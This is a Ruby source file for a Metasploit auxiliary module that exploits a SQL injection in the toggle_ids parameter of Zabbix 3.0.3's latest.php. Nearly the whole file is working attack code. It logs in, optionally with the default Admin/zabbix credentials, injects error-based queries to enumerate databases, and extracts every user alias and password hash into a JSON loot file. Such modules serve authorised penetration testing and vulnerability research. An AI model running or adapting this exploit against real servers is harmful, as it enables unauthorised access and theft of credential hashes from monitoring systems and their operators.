238 lines
7.1 KiB
Ruby
238 lines
7.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Zabbix toggle_ids SQL injection',
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'Description' => %q{
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This module will exploit a SQL injection in Zabbix 3.0.3 and
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likely prior in order to save the current usernames and
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password hashes from the database to a JSON file.
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},
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'References' =>
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[
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['URL', 'http://seclists.org/fulldisclosure/2016/Aug/60']
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],
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'Author' =>
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[
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'1n3@hushmail.com', #discovery
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'bperry' #module
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],
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'License' => MSF_LICENSE,
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'DisclosureDate' => 'Aug 11 2016'
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))
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register_options(
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[
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OptBool.new('REQUIREAUTH', [true, 'Enforce authentication', false]),
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OptString.new('USERNAME', [false, 'The username to authenticate with', 'Admin']),
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OptString.new('PASSWORD', [false, 'The password to authenticate with', 'zabbix']),
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OptString.new('TARGETURI', [true, 'The relative URI for Zabbix', '/zabbix'])
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], self.class)
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end
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def check
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sid, cookies = authenticate
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left_marker = Rex::Text.rand_text_alpha(5)
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right_marker = Rex::Text.rand_text_alpha(5)
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flag = Rex::Text.rand_text_alpha(5)
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query = "AND (SELECT 1256 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
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query << ",(SELECT MID((IFNULL(CAST(0x#{flag.unpack("H*")[0]} AS CHAR),0x20)),1,54)"
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query << " FROM dual LIMIT 0,1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM"
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query << ' INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
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res = make_injected_request(query, sid, cookies)
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unless res and res.body
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return Msf::Exploit::CheckCode::Safe
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end
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match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
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if match[1] == flag
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return Msf::Exploit::CheckCode::Vulnerable
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end
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Msf::Exploit::CheckCode::Safe
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end
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def run
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sid, cookies = authenticate
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left_marker = Rex::Text.rand_text_alpha(5)
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right_marker = Rex::Text.rand_text_alpha(5)
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query = " AND (SELECT 5361 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
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query << ",(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM"
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query << " INFORMATION_SCHEMA.SCHEMATA),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x"
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query << " FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
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res = make_injected_request(query, sid, cookies)
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unless res and res.body
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fail_with(Failure::Unknown, 'Server did not respond in an expected way')
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end
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match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
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count = match[1].to_i
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dbs = []
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0.upto(count-1) do |cur|
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get_dbs = " AND (SELECT 5184 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
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get_dbs << ",(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54)"
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get_dbs << " FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{cur},1),0x#{right_marker.unpack("H*")[0]},"
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get_dbs << "FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
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res = make_injected_request(get_dbs, sid, cookies)
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unless res and res.body
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fail_with(Failure::Unknown, 'Server did not respond in an expected way')
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end
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match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
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dbs << match[1]
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end
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dbs.delete("mysql")
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dbs.delete("performance_schema")
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dbs.delete("information_schema")
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users = []
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dbs.each do |db|
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cols = ["alias", "passwd"]
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user_count = " AND (SELECT 6262 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
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user_count << ",(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM"
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user_count << " #{db}.users),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM"
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user_count << " INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
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res = make_injected_request(user_count, sid, cookies)
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unless res and res.body
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fail_with(Failure::Unknown, 'Server did not respond in an expected way')
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end
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match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
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count = match[1].to_i
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0.upto(count-1) do |cur|
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user = {}
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cols.each do |col|
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get_col = " AND (SELECT 6334 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
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get_col << ",(SELECT MID((IFNULL(CAST(#{col} AS CHAR),0x20)),1,54)"
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get_col << " FROM #{db}.users ORDER BY alias LIMIT #{cur},1),0x#{right_marker.unpack("H*")[0]}"
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get_col << ',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
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res = make_injected_request(get_col, sid, cookies)
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unless res and res.body
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fail_with(Failure::Unknown, 'Server did not respond in an expected way')
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end
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match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
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user[col] = match[1]
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end
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users << user
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end
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end
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loot = store_loot("zabbixusers.json","text/plain", rhost, users.to_json)
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print_good('Users and password hashes stored at ' + loot)
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end
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def authenticate
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'index.php')
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})
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unless res and res.body
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fail_with(Failure::Unknown, 'Server did not respond in an expected way')
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end
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cookies = res.get_cookies
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res.body =~ /name="sid" value="(.*?)">/
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sid = $1
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if datastore['REQUIREAUTH']
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'method' => 'POST',
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'vars_post' => {
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'sid' => sid,
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'form_refresh' => 1,
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'name' => datastore['USERNAME'],
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'password' => datastore['PASSWORD'],
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'autologin' => 1,
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'enter' => 'Sign in'
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},
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'cookie' => cookies
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})
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unless res
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fail_with(Failure::Unknown, 'Server did not respond in an expected way')
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end
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if res.code == 302
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cookies = res.get_cookies
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'latest.php'),
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'vars_get' => {
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'ddreset' => '1'
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},
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'cookies' => cookies
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})
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unless res and res.body
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fail_with(Failure::Unknown, 'Server did not respond in an expected way')
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end
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cookies = res.get_cookies
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res.body =~ /name="sid" value="(.*?)">/
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sid = $1
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elsif
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fail_with(Failure::Unknown, 'Server did not respond in an expected way')
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end
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end
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return sid, cookies
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end
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def make_injected_request(sql, sid, cookies)
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send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'latest.php'),
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'method' => 'POST',
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'vars_get' => {
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'output' => 'ajax',
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'sid' => sid
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},
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'vars_post' => {
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'favobj' => 'toggle',
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'toggle_ids[]' => '348 ' + sql,
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'toggle_open_state' => 0
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},
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'cookie' => cookies
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})
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end
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end
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